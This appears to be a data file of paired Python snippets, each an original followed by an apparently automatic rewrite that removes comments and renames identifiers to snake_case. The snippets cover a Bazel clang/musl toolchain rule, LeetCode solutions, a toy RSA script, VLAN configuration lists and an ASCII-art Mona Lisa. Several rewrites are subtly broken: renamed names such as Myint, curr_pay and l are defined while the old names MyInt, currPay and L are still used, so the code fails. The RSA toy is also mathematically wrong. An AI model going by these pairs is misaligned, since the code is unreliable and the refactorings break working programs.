def mona_lisa(thoughts, eyes, eye, tongue): return f'\n {thoughts}\n {thoughts}\n\n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>\'\'\'\'\'\'<!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n!!!!!!!!!!!!!!!!!!!!!!!!!!!!\'\'\'\'\'\\` \\`\\`\'!!!!!!!!!!!!!!!!!!!!!!!!\n!!!!!!!!!!!!!!!!!!!!!!!!\'\'\\` ..... \\`\'!!!!!!!!!!!!!!!!!!!!!\n!!!!!!!!!!!!!!!!!!!!!\'\\` . :::::\' \\`\'!!!!!!!!!!!!!!!!!!\n!!!!!!!!!!!!!!!!!!!\' . \' .::::\' \\`!!!!!!!!!!!!!!!!\n!!!!!!!!!!!!!!!!!\' : \\`\\`\\`\\`\\` \\`!!!!!!!!!!!!!!\n!!!!!!!!!!!!!!!! .,cchcccccc,,. \\`!!!!!!!!!!!!\n!!!!!!!!!!!!!!! .-"?\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$c, \\`!!!!!!!!!!!\n!!!!!!!!!!!!!! ,ccc\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$, \\`!!!!!!!!!!\n!!!!!!!!!!!!! z\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$;. \\`!!!!!!!!!\n!!!!!!!!!!!! <\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$:. \\`!!!!!!!!\n!!!!!!!!!!! \\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$h;:. !!!!!!!!\n!!!!!!!!!!\' \\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$h;. !!!!!!!\n!!!!!!!!!\' <\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$ !!!!!!!\n!!!!!!!!\' \\`\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$F \\`!!!!!!\n!!!!!!!! c\\$\\$\\$\\$???\\$\\$\\$\\$\\$\\$\\$P"" """??????" !!!!!!\n!!!!!!! \\`"" .,.. "\\$\\$\\$\\$F .,zcr !!!!!!\n!!!!!!! . dL .?\\$\\$\\$ .,cc, .,z\\$h. !!!!!!\n!!!!!!!! <. \\$\\$c= <\\$d\\$\\$\\$ <\\$\\$\\$\\$=-=+"\\$\\$\\$\\$\\$\\$\\$ !!!!!!\n!!!!!!! d\\$\\$\\$hcccd\\$\\$\\$\\$\\$ d\\$\\$\\$hcccd\\$\\$\\$\\$\\$\\$\\$F \\`!!!!!\n!!!!!! ,\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$h d\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$ \\`!!!!!\n!!!!! \\`\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$<\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\' !!!!!\n!!!!! \\`\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$"\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$P> !!!!!\n!!!!! ?\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$??\\$c\\`\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$?>\' \\`!!!!\n!!!!! \\`?\\$\\$\\$\\$\\$\\$I7?"" ,\\$\\$\\$\\$\\$\\$\\$\\$\\$?>>\' !!!!\n!!!!!. <<?\\$\\$\\$\\$\\$\\$c. ,d\\$\\$?\\$\\$\\$\\$\\$F>>\'\' \\`!!!\n!!!!!! <i?\\$P"??\\$\\$r--"?"" ,\\$\\$\\$\\$h;>\'\' \\`!!!\n!!!!!! \\$\\$\\$hccccccccc= cc\\$\\$\\$\\$\\$\\$\\$>>\' !!!\n!!!!! \\`?\\$\\$\\$\\$\\$\\$F"""" \\`"\\$\\$\\$\\$\\$>>>\'\' \\`!!\n!!!!! "?\\$\\$\\$\\$\\$cccccc\\$\\$\\$\\$??>>>>\' !!\n!!!!> "\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$F>>>>\'\' \\`!\n!!!!! "\\$\\$\\$\\$\\$\\$\\$\\$???>\'\'\' !\n!!!!!> \\`""""" \\`\n!!!!!!; . \\`\n!!!!!!! ?h.\n!!!!!!!! \\$\\$c,\n!!!!!!!!> ?\\$\\$\\$h. .,c\n!!!!!!!!! \\$\\$\\$\\$\\$\\$\\$\\$\\$hc,.,,cc\\$\\$\\$\\$\\$\n!!!!!!!!! .,zcc\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\n!!!!!!!!! .z\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\n!!!!!!!!! ,d\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$ .\n!!!!!!!!! ,d\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$ !!\n!!!!!!!!! ,d\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$ ,!\'\n!!!!!!!!> c\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$. !\'\n!!!!!!\'\' ,d\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$> \'\n!!!\'\' z\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$>\n!\' ,\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$> ..\n z\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\' ;!!!!\'\'\\`\n \\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$F ,;;!\'\\`\' .\'\'\n <\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$> ,;\'\\`\' ,;\n \\`\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$F -\' ,;!!\'\n "?\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$?\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$F .<!!!\'\'\' <!\n !> ""??\\$\\$\\$?C3\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$"" ;!\'\'\' !!!\n ;!!!!;, \\`"\'\'""????\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$\\$"" ,;-\'\' \',!\n ;!!!!<!!!; . \\`""""""""""" \\`\' \' \'\n !!!! ;!!! ;!!!!>;,;, .. \' . \' \'\n !!\' ,;!!! ;\'\\`!!!!!!!!;!!!!!; . >\' .\'\' ;\n !!\' ;!!\'!\';! !! !!!!!!!!!!!!! \' -\'\n <!! !! \\`!;! \\`!\' !!!!!!!!!!<! .\n \\`! ;! ;!!! <\' <!!!! \\`!!! < /\n """ !> <!! ;\' !!!!\' !!\';! ;\'\n ! ! !!! ! \\`!!! ;!! ! \' \'\n ; \\`! \\`!! ,\' !\' ;!\'\n \' /\\`! ! < !! < \'\n / ;! >;! ;>\n !\' ; !! \'\n \' ;! > ! \'\n\n'
class SettingsManager: def __init__(self, client_class): self._client = client_class self.access_token = '' def get_templates(self): # https://api.dida365.com/api/v2/templates pass def get_user_settings(self): # https://api.dida365.com/api/v2/user/preferences/settings?includeWeb=true pass
class Settingsmanager: def __init__(self, client_class): self._client = client_class self.access_token = '' def get_templates(self): pass def get_user_settings(self): pass
__author__ = 'Chetan' class MyInt(type): def __call__(cls, *args, **kwds): print("***** Here's My int *****", args) print("Now do whatever you want with these objects...") return type.__call__(cls, *args, **kwds) class int(metaclass=MyInt): def __init__(self, x, y): self.x = x self.y = y i = int(4,5)
__author__ = 'Chetan' class Myint(type): def __call__(cls, *args, **kwds): print("***** Here's My int *****", args) print('Now do whatever you want with these objects...') return type.__call__(cls, *args, **kwds) class Int(metaclass=MyInt): def __init__(self, x, y): self.x = x self.y = y i = int(4, 5)
class Coordinate(object): def __init__(self, prefix, value): self.prefix = prefix self.value = value def __str__(self): if self.prefix: if self.value: return self.prefix + str(self.value) else: return self.prefix else: if self.value: return str(self.value) else: return '0'
class Coordinate(object): def __init__(self, prefix, value): self.prefix = prefix self.value = value def __str__(self): if self.prefix: if self.value: return self.prefix + str(self.value) else: return self.prefix elif self.value: return str(self.value) else: return '0'
""" This file assembles a toolchain for Linux using the Clang Compiler and musl. It currently makes use of musl and not glibc because the pre-compiled libraries from the latter have absolute paths baked in and this makes linking difficult. The pre-compiled musl library does not have this restriction and is much easier to statically link in as a result. As inputs, it takes external URLs from which to download the clang binaries/libraries/includes as well as the musl headers and pre-compiled binaries. Those files are downloaded and put into one folder, with a little bit of re-arrangement so clang can find files (like the C runtime). """ def _download_and_extract_deb(ctx, deb, sha256, prefix, output = ""): """Downloads a debian file and extracts the data into the provided output directory""" # https://docs.bazel.build/versions/main/skylark/lib/repository_ctx.html#download download_info = ctx.download( url = deb, output = "deb.ar", sha256 = sha256, ) # https://docs.bazel.build/versions/main/skylark/lib/repository_ctx.html#execute # This uses the extracted llvm-ar that comes with clang. ctx.execute(["bin/llvm-ar", "x", "deb.ar"]) # https://docs.bazel.build/versions/main/skylark/lib/repository_ctx.html#extract extract_info = ctx.extract( archive = "data.tar.xz", output = output, stripPrefix = prefix, ) # Clean up ctx.delete("deb.ar") ctx.delete("data.tar.xz") ctx.delete("control.tar.xz") def _build_cpp_toolchain_impl(ctx): # Download the clang toolchain (the extraction can take a while) # https://docs.bazel.build/versions/main/skylark/lib/repository_ctx.html#download download_info = ctx.download_and_extract( url = ctx.attr.clang_url, output = "", stripPrefix = ctx.attr.clang_prefix, sha256 = ctx.attr.clang_sha256, ) # This puts the musl include files in ${PWD}/usr/include/x86_64-linux-musl # and the runtime files and lib.a files in ${PWD}/usr/lib/x86_64-linux-musl _download_and_extract_deb( ctx, ctx.attr.musl_dev_url, ctx.attr.musl_dev_sha256, ".", ) # kjlubick@ cannot figure out how to get clang to look in ${PWD}/usr/lib/x86_64-linux-musl # for the crt1.o files, so we'll move them to ${PWD}/usr/lib/ where clang *is* looking. for file in ["crt1.o", "crtn.o", "Scrt1.o", "crti.o", "rcrt1.o"]: ctx.execute(["cp", "usr/lib/x86_64-linux-musl/" + file, "usr/lib/"]) # Create a BUILD.bazel file that makes all the files in this subfolder # available for use in rules, i.e. in the toolchain declaration. # https://docs.bazel.build/versions/main/skylark/lib/repository_ctx.html#file ctx.file( "BUILD.bazel", content = """ filegroup( name = "all_files", srcs = glob([ "**", ]), visibility = ["//visibility:public"] ) """, executable = False, ) build_cpp_toolchain = repository_rule( implementation = _build_cpp_toolchain_impl, attrs = { "clang_url": attr.string(mandatory = True), "clang_sha256": attr.string(mandatory = True), "clang_prefix": attr.string(mandatory = True), "musl_dev_url": attr.string(mandatory = True), "musl_dev_sha256": attr.string(mandatory = True), }, doc = "", )
""" This file assembles a toolchain for Linux using the Clang Compiler and musl. It currently makes use of musl and not glibc because the pre-compiled libraries from the latter have absolute paths baked in and this makes linking difficult. The pre-compiled musl library does not have this restriction and is much easier to statically link in as a result. As inputs, it takes external URLs from which to download the clang binaries/libraries/includes as well as the musl headers and pre-compiled binaries. Those files are downloaded and put into one folder, with a little bit of re-arrangement so clang can find files (like the C runtime). """ def _download_and_extract_deb(ctx, deb, sha256, prefix, output=''): """Downloads a debian file and extracts the data into the provided output directory""" download_info = ctx.download(url=deb, output='deb.ar', sha256=sha256) ctx.execute(['bin/llvm-ar', 'x', 'deb.ar']) extract_info = ctx.extract(archive='data.tar.xz', output=output, stripPrefix=prefix) ctx.delete('deb.ar') ctx.delete('data.tar.xz') ctx.delete('control.tar.xz') def _build_cpp_toolchain_impl(ctx): download_info = ctx.download_and_extract(url=ctx.attr.clang_url, output='', stripPrefix=ctx.attr.clang_prefix, sha256=ctx.attr.clang_sha256) _download_and_extract_deb(ctx, ctx.attr.musl_dev_url, ctx.attr.musl_dev_sha256, '.') for file in ['crt1.o', 'crtn.o', 'Scrt1.o', 'crti.o', 'rcrt1.o']: ctx.execute(['cp', 'usr/lib/x86_64-linux-musl/' + file, 'usr/lib/']) ctx.file('BUILD.bazel', content='\nfilegroup(\n name = "all_files",\n srcs = glob([\n "**",\n ]),\n visibility = ["//visibility:public"]\n)\n', executable=False) build_cpp_toolchain = repository_rule(implementation=_build_cpp_toolchain_impl, attrs={'clang_url': attr.string(mandatory=True), 'clang_sha256': attr.string(mandatory=True), 'clang_prefix': attr.string(mandatory=True), 'musl_dev_url': attr.string(mandatory=True), 'musl_dev_sha256': attr.string(mandatory=True)}, doc='')
class Solution(object): def dfs(self, start, end, record): if start >= end: return 0 if start + 1 == end: return start if record[start][end] is None: pays = [] for i in range(start, end + 1): prevPay = self.dfs(start, i - 1, record) nextPay = self.dfs(i + 1, end, record) currPay = i totlPay = currPay + max(prevPay, nextPay) pays.append(totlPay) record[start][end] = min(pays) return record[start][end] def getMoneyAmount(self, n): record = [[None] * (n + 1) for _ in range(n + 1)] return self.dfs(1, n, record)
class Solution(object): def dfs(self, start, end, record): if start >= end: return 0 if start + 1 == end: return start if record[start][end] is None: pays = [] for i in range(start, end + 1): prev_pay = self.dfs(start, i - 1, record) next_pay = self.dfs(i + 1, end, record) curr_pay = i totl_pay = currPay + max(prevPay, nextPay) pays.append(totlPay) record[start][end] = min(pays) return record[start][end] def get_money_amount(self, n): record = [[None] * (n + 1) for _ in range(n + 1)] return self.dfs(1, n, record)
class ExampleMod: def __init__(self): self.a = 6 self.b = 7 self.c = 8 def add(self): return self.a + self.b + self.c def multiply(self): return self.a * self.b * self.c
class Examplemod: def __init__(self): self.a = 6 self.b = 7 self.c = 8 def add(self): return self.a + self.b + self.c def multiply(self): return self.a * self.b * self.c
"""Constants for Life360 integration.""" DOMAIN = 'life360' CONF_AUTHORIZATION = 'authorization' CONF_CIRCLES = 'circles' CONF_DRIVING_SPEED = 'driving_speed' CONF_ERROR_THRESHOLD = 'error_threshold' CONF_MAX_GPS_ACCURACY = 'max_gps_accuracy' CONF_MAX_UPDATE_WAIT = 'max_update_wait' CONF_MEMBERS = 'members' CONF_SHOW_AS_STATE = 'show_as_state' CONF_WARNING_THRESHOLD = 'warning_threshold' SHOW_DRIVING = 'driving' SHOW_MOVING = 'moving'
"""Constants for Life360 integration.""" domain = 'life360' conf_authorization = 'authorization' conf_circles = 'circles' conf_driving_speed = 'driving_speed' conf_error_threshold = 'error_threshold' conf_max_gps_accuracy = 'max_gps_accuracy' conf_max_update_wait = 'max_update_wait' conf_members = 'members' conf_show_as_state = 'show_as_state' conf_warning_threshold = 'warning_threshold' show_driving = 'driving' show_moving = 'moving'
def inference_decoding_layer(embeddings, start_token, end_token, dec_cell, initial_state, output_layer, max_summary_length, batch_size): '''Create the inference logits''' start_tokens = tf.tile(tf.constant([start_token], dtype=tf.int32), [batch_size], name='start_tokens') inference_helper = tf.contrib.seq2seq.GreedyEmbeddingHelper(embeddings, start_tokens, end_token) inference_decoder = tf.contrib.seq2seq.BasicDecoder(dec_cell, inference_helper, initial_state, output_layer) inference_logits, _ , _ = tf.contrib.seq2seq.dynamic_decode(inference_decoder, output_time_major=False, impute_finished=True, maximum_iterations=max_summary_length) return inference_decoder
def inference_decoding_layer(embeddings, start_token, end_token, dec_cell, initial_state, output_layer, max_summary_length, batch_size): """Create the inference logits""" start_tokens = tf.tile(tf.constant([start_token], dtype=tf.int32), [batch_size], name='start_tokens') inference_helper = tf.contrib.seq2seq.GreedyEmbeddingHelper(embeddings, start_tokens, end_token) inference_decoder = tf.contrib.seq2seq.BasicDecoder(dec_cell, inference_helper, initial_state, output_layer) (inference_logits, _, _) = tf.contrib.seq2seq.dynamic_decode(inference_decoder, output_time_major=False, impute_finished=True, maximum_iterations=max_summary_length) return inference_decoder
""" :mod: `reports` -- Report Wrapper ================================= .. module:: reports :synopsis: Report building tools :platform: OpenSuse 15.2 on WSL2 (Windows 10) .. moduleauthor:: Bruno Lima <blcardoso@cos.ufrj.br> """
""" :mod: `reports` -- Report Wrapper ================================= .. module:: reports :synopsis: Report building tools :platform: OpenSuse 15.2 on WSL2 (Windows 10) .. moduleauthor:: Bruno Lima <blcardoso@cos.ufrj.br> """
#!/usr/bin/python3 #------------------------------------------------------------------------------ class Solution: def fourSum(self, nums, target): """ :type nums: List[int] :type target: int :rtype: List[List[int]] """ # Each key in pairs will be the sum of the pair # Values will be tuples that sum to the key pairs = {} # Find sums for each pair for i in range(len(nums)): for j in range(i+1, len(nums)): pair_sum = nums[i] + nums[j] if pair_sum in pairs: pairs[pair_sum].append((i,j)) else: pairs[pair_sum] = [(i,j)] result = [] # Find two pairs that equal the target and append to list for pair in pairs: value = target - pair if value in pairs: first = pairs[pair] second = pairs[value] for (i,j) in first: for (k,l) in second: # Ensure none of the same elements are used # ijkl are indices if i!=k and i!=l and j!=k and j!=l: flist = [nums[i],nums[j],nums[k],nums[l]] # Sort to prevent dups flist.sort() if tuple(flist) not in result: result.append(tuple(flist)) return result #------------------------------------------------------------------------------ #Testing
class Solution: def four_sum(self, nums, target): """ :type nums: List[int] :type target: int :rtype: List[List[int]] """ pairs = {} for i in range(len(nums)): for j in range(i + 1, len(nums)): pair_sum = nums[i] + nums[j] if pair_sum in pairs: pairs[pair_sum].append((i, j)) else: pairs[pair_sum] = [(i, j)] result = [] for pair in pairs: value = target - pair if value in pairs: first = pairs[pair] second = pairs[value] for (i, j) in first: for (k, l) in second: if i != k and i != l and (j != k) and (j != l): flist = [nums[i], nums[j], nums[k], nums[l]] flist.sort() if tuple(flist) not in result: result.append(tuple(flist)) return result
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # pylint: disable-msg=C0103, C0111 def application(env, start_response): start_response('200 OK', [('Content-Type','text/html')]) rvalue = b"Hello World\n" rvalue += b"Test\n" rvalue += b"Apr/14/2020\n" return [rvalue]
def application(env, start_response): start_response('200 OK', [('Content-Type', 'text/html')]) rvalue = b'Hello World\n' rvalue += b'Test\n' rvalue += b'Apr/14/2020\n' return [rvalue]
""" Module: 'onewire' on esp32 1.11.0 """ # MCU: (sysname='esp32', nodename='esp32', release='1.11.0', version='v2.11.0.1 on 2019-07-26', machine='ESP32 module with ESP32') # Stubber: 1.2.0 class OneWire: '' MATCH_ROM = 85 SEARCH_ROM = 240 SKIP_ROM = 204 def _search_rom(): pass def crc8(): pass def readbit(): pass def readbyte(): pass def readinto(): pass def reset(): pass def scan(): pass def select_rom(): pass def write(): pass def writebit(): pass def writebyte(): pass class OneWireError: '' _ow = None def const(): pass
""" Module: 'onewire' on esp32 1.11.0 """ class Onewire: """""" match_rom = 85 search_rom = 240 skip_rom = 204 def _search_rom(): pass def crc8(): pass def readbit(): pass def readbyte(): pass def readinto(): pass def reset(): pass def scan(): pass def select_rom(): pass def write(): pass def writebit(): pass def writebyte(): pass class Onewireerror: """""" _ow = None def const(): pass
p=31 q=37 r=43 n=p*q*r print("n = p * q * r = " + str(n) + "\n") phi=(p-1)*(q-1)*(r-1) print("Euler's function (totient) [phi(n)]: " + str(phi) + "\n") def gcd(a, b): while b != 0: c = a % b a = b b = c return a def egcd(a, b): if a == 0: return b, 0, 1 else: g, y, x = egcd(b % a, a) return g, x - (b // a) * y, y def modinv(a, m): g, x, y = egcd(a, m) if g != 1: #raise Exception('modular inverse does not exist') return -1 else: return x % m def coprimes(a): l = [] for x in range(2, a): if gcd(a, x) == 1 and modinv(x,phi) != None: l.append(x) for x in l: if x == modinv(x,phi): l.remove(x) return l l=coprimes(phi) e=l[int(len(l)/2)] d=modinv(e,phi) print(d) def encrypt_block(m): c = modinv(m**e, n) if c == -1: return ord('o') return c def decrypt_block(c): m = modinv(c**d, n) if m == -1: return ord('o') return m def encrypt_string(s): return ''.join([chr(encrypt_block(ord(x))) for x in list(s)]) def decrypt_string(s): return ''.join([chr(decrypt_block(ord(x))) for x in list(s)]) print("public key = ",e,n) print("private key= ",d,n) s = input("Enter a message to encrypt: ") print("\nPlain message: " + s + "\n") enc = encrypt_string(s) print("Encrypted message: " + enc + "\n") dec = decrypt_string(enc) print("Decrypted message: " + dec + "\n")
p = 31 q = 37 r = 43 n = p * q * r print('n = p * q * r = ' + str(n) + '\n') phi = (p - 1) * (q - 1) * (r - 1) print("Euler's function (totient) [phi(n)]: " + str(phi) + '\n') def gcd(a, b): while b != 0: c = a % b a = b b = c return a def egcd(a, b): if a == 0: return (b, 0, 1) else: (g, y, x) = egcd(b % a, a) return (g, x - b // a * y, y) def modinv(a, m): (g, x, y) = egcd(a, m) if g != 1: return -1 else: return x % m def coprimes(a): l = [] for x in range(2, a): if gcd(a, x) == 1 and modinv(x, phi) != None: l.append(x) for x in l: if x == modinv(x, phi): l.remove(x) return l l = coprimes(phi) e = l[int(len(l) / 2)] d = modinv(e, phi) print(d) def encrypt_block(m): c = modinv(m ** e, n) if c == -1: return ord('o') return c def decrypt_block(c): m = modinv(c ** d, n) if m == -1: return ord('o') return m def encrypt_string(s): return ''.join([chr(encrypt_block(ord(x))) for x in list(s)]) def decrypt_string(s): return ''.join([chr(decrypt_block(ord(x))) for x in list(s)]) print('public key = ', e, n) print('private key= ', d, n) s = input('Enter a message to encrypt: ') print('\nPlain message: ' + s + '\n') enc = encrypt_string(s) print('Encrypted message: ' + enc + '\n') dec = decrypt_string(enc) print('Decrypted message: ' + dec + '\n')
class School: def __init__(self): self.grade_school = {} def add_student(self, name, grade): grade = str(grade) value = self.grade_school.get(grade) if value: value.append(name) self.grade_school.update({grade: value}) return self.grade_school.update({grade: [name]}) def roster(self): class_ordered = [sorted(self.grade_school[key], key=lambda v: v.upper()) for key in sorted(self.grade_school.keys())] students = [] for student in class_ordered: students = students + student return students def grade(self, grade): grade_number = str(grade_number) return sorted(self.grade_school.get(grade_number, [])) # school = School() # school.add_student("Anna", 1) # school.add_student("Arthur", 5) # school.add_student("Jorge", 2) # school.add_student("sadasdas", 2) # school.add_student("ZJorgdsadsadase", 2) # school.roster() # # pdb.set_trace() # breakpoint 3e5b211b // # # School().grade(1)
class School: def __init__(self): self.grade_school = {} def add_student(self, name, grade): grade = str(grade) value = self.grade_school.get(grade) if value: value.append(name) self.grade_school.update({grade: value}) return self.grade_school.update({grade: [name]}) def roster(self): class_ordered = [sorted(self.grade_school[key], key=lambda v: v.upper()) for key in sorted(self.grade_school.keys())] students = [] for student in class_ordered: students = students + student return students def grade(self, grade): grade_number = str(grade_number) return sorted(self.grade_school.get(grade_number, []))
L = [['3', 'Avaya_control_A', 'active'], ['4', 'Avaya_control_B', 'active'], ['5', 'Avaya_voice', 'active'], ['6', 'Avaya_phone', 'active'], ['60', 'MGMT_ALTF', 'active', 'Gi3/0/8,', 'Gi4/0/8'], ['78', 'UIB', 'active'], ['100', 'Video_recorder', 'active'], ['128', 'Srv_ALTF', 'active'], ['129', 'Srv_ALTF1', 'active'], ['132', 'Audit', 'active'], ['264', 'User_ALTF2', 'active'], ['453', 'BB_RTR2-Core', 'active', 'Gi3/0/1'], ['454', 'BB_RTR1-Core', 'active', 'Gi4/0/2'], ['455', 'BB_RTR2-ASA', 'active', 'Gi3/0/19,', 'Gi4/0/19,', 'Gi4/0/22'], ['456', 'BB_RTR1-ASA', 'active', 'Gi3/0/15,', 'Gi3/0/22,', 'Gi4/0/15'], ['457', 'Ch_to_GO_ReTN.net', 'active', 'Gi3/0/20,', 'Gi4/0/20,', 'Gi4/0/21'], ['458', 'Ch_to_GO_BEELINE', 'active', 'Gi3/0/17,', 'Gi3/0/21,', 'Gi4/0/17'], ['461', 'BB_UIB', 'active', 'Gi3/0/16']] L1 = [['4', 'up', 'up', 'Avaya_Control_B'], ['5', 'up', 'up', 'Avaya_voice'], ['6', 'up', 'up', 'Avaya_phone'], ['60', 'up', 'up', 'MGMT_ALTF'], ['100', 'up', 'up', 'Video_recorder'], ['128', 'up', 'up', 'COMMON_SRV'], ['129', 'up', 'up', 'Alt_Users'], ['132', 'up', 'up', 'Auditors'], ['264', 'up', 'up', 'Alt_Users_(static)'], ['450', 'down', 'down'], ['453', 'up', 'up', 'BB_RTR2-Core_(to_RCHD)'], ['454', 'up', 'up', 'BB_RTR1-Core_(to_RCHD)'], ['461', 'up', 'up', 'BB_IB']] ''' | This is a generator of a list: ''' L2 = ['interface vlan {0}\ndescription {1}\n'.format(L[i][0], L[i][1]) for (i, j) in enumerate(L) for (k, l) in enumerate(L1) if L[i][0] == L1[k][0]] ''' | This is a cickle 'for' for creation of a list: ''' L2 = [] for (i, j) in enumerate(L): for (k, l) in enumerate(L1): if L[i][0] == L1[k][0]: L2.append('intarface vlan {0}\ndescription {1}\n'.format(L[i][0], L[i][1]))
l = [['3', 'Avaya_control_A', 'active'], ['4', 'Avaya_control_B', 'active'], ['5', 'Avaya_voice', 'active'], ['6', 'Avaya_phone', 'active'], ['60', 'MGMT_ALTF', 'active', 'Gi3/0/8,', 'Gi4/0/8'], ['78', 'UIB', 'active'], ['100', 'Video_recorder', 'active'], ['128', 'Srv_ALTF', 'active'], ['129', 'Srv_ALTF1', 'active'], ['132', 'Audit', 'active'], ['264', 'User_ALTF2', 'active'], ['453', 'BB_RTR2-Core', 'active', 'Gi3/0/1'], ['454', 'BB_RTR1-Core', 'active', 'Gi4/0/2'], ['455', 'BB_RTR2-ASA', 'active', 'Gi3/0/19,', 'Gi4/0/19,', 'Gi4/0/22'], ['456', 'BB_RTR1-ASA', 'active', 'Gi3/0/15,', 'Gi3/0/22,', 'Gi4/0/15'], ['457', 'Ch_to_GO_ReTN.net', 'active', 'Gi3/0/20,', 'Gi4/0/20,', 'Gi4/0/21'], ['458', 'Ch_to_GO_BEELINE', 'active', 'Gi3/0/17,', 'Gi3/0/21,', 'Gi4/0/17'], ['461', 'BB_UIB', 'active', 'Gi3/0/16']] l1 = [['4', 'up', 'up', 'Avaya_Control_B'], ['5', 'up', 'up', 'Avaya_voice'], ['6', 'up', 'up', 'Avaya_phone'], ['60', 'up', 'up', 'MGMT_ALTF'], ['100', 'up', 'up', 'Video_recorder'], ['128', 'up', 'up', 'COMMON_SRV'], ['129', 'up', 'up', 'Alt_Users'], ['132', 'up', 'up', 'Auditors'], ['264', 'up', 'up', 'Alt_Users_(static)'], ['450', 'down', 'down'], ['453', 'up', 'up', 'BB_RTR2-Core_(to_RCHD)'], ['454', 'up', 'up', 'BB_RTR1-Core_(to_RCHD)'], ['461', 'up', 'up', 'BB_IB']] '\n| This is a generator of a list:\n\n' l2 = ['interface vlan {0}\ndescription {1}\n'.format(L[i][0], L[i][1]) for (i, j) in enumerate(L) for (k, l) in enumerate(L1) if L[i][0] == L1[k][0]] "\n| This is a cickle 'for' for creation of a list:\n\n" l2 = [] for (i, j) in enumerate(L): for (k, l) in enumerate(L1): if L[i][0] == L1[k][0]: L2.append('intarface vlan {0}\ndescription {1}\n'.format(L[i][0], L[i][1]))
